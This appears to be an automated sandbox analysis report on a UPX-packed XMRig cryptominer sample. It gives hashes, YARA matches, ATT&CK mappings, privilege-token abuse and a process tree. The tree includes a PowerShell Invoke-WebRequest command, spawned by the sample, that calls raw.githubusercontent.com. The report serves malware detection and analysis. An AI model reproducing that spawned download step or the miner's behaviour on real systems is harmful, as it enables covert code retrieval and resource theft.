xmrig | 540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6

General

Target

540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe
Size

2.2MB
MD5

4c1fc9b1d2f4af948472c0b5f0341645
SHA1

03ab45708e1a0d966a55ed55d00ac5238e0cc322
SHA256

540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6
SHA512

d4b7a4d68ef267b91bb4b83bdf5c7f63a089c95042678335e64cdce072f86aff0ea86b3de66176071f9aa5d0d01311ac8a214861c938435b406e37ecf3a30dea
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTgZrn9:NABs

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/1156-123-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-265-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-267-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-268-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-269-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-270-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-271-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-272-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-273-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-274-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-275-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig
behavioral2/memory/1156-276-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	xmrig

Blocklisted process makes network request 21 IoCs

flow	pid	Process
7	4384	powershell.exe
9	4384	powershell.exe
20	4384	powershell.exe
21	4384	powershell.exe
23	4384	powershell.exe
25	4384	powershell.exe
29	4384	powershell.exe
30	4384	powershell.exe
32	4384	powershell.exe
33	4384	powershell.exe
35	4384	powershell.exe
36	4384	powershell.exe
37	4384	powershell.exe
38	4384	powershell.exe
39	4384	powershell.exe
40	4384	powershell.exe
42	4384	powershell.exe
43	4384	powershell.exe
44	4384	powershell.exe
45	4384	powershell.exe
46	4384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4384	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1156-0-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-123-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-265-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-267-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-268-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-269-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-270-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-271-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-272-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-273-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-274-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-275-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx
behavioral2/memory/1156-276-0x00007FF67F480000-0x00007FF67F872000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4384	powershell.exe
4384	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1156	540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe
Token: SeLockMemoryPrivilege	1156	540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe
Token: SeDebugPrivilege	4384	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 4384	1156	540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe	84
PID 1156 wrote to memory of 4384	1156	540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe	84

C:\Users\Admin\AppData\Local\Temp\540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe
"C:\Users\Admin\AppData\Local\Temp\540cf6ff48654002ad80d63683111f4b2d91e9b805c20976eccef8d06dcc95d6.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r1ws5djx.bai.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1156-271-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-270-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-265-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-1-0x0000019148060000-0x0000019148070000-memory.dmp

Filesize
64KB

Download
memory/1156-275-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-274-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-273-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-272-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-123-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-0-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-269-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-276-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-268-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/1156-267-0x00007FF67F480000-0x00007FF67F872000-memory.dmp

Filesize
3.9MB

Download
memory/4384-226-0x00007FFB52733000-0x00007FFB52735000-memory.dmp

Filesize
8KB

Download
memory/4384-3-0x000002424DE90000-0x000002424DEB2000-memory.dmp

Filesize
136KB

Download
memory/4384-2-0x00007FFB52733000-0x00007FFB52735000-memory.dmp

Filesize
8KB

Download
memory/4384-266-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4384-17-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4384-15-0x000002424EB90000-0x000002424F336000-memory.dmp

Filesize
7.6MB

Download
memory/4384-14-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4384-13-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download
memory/4384-229-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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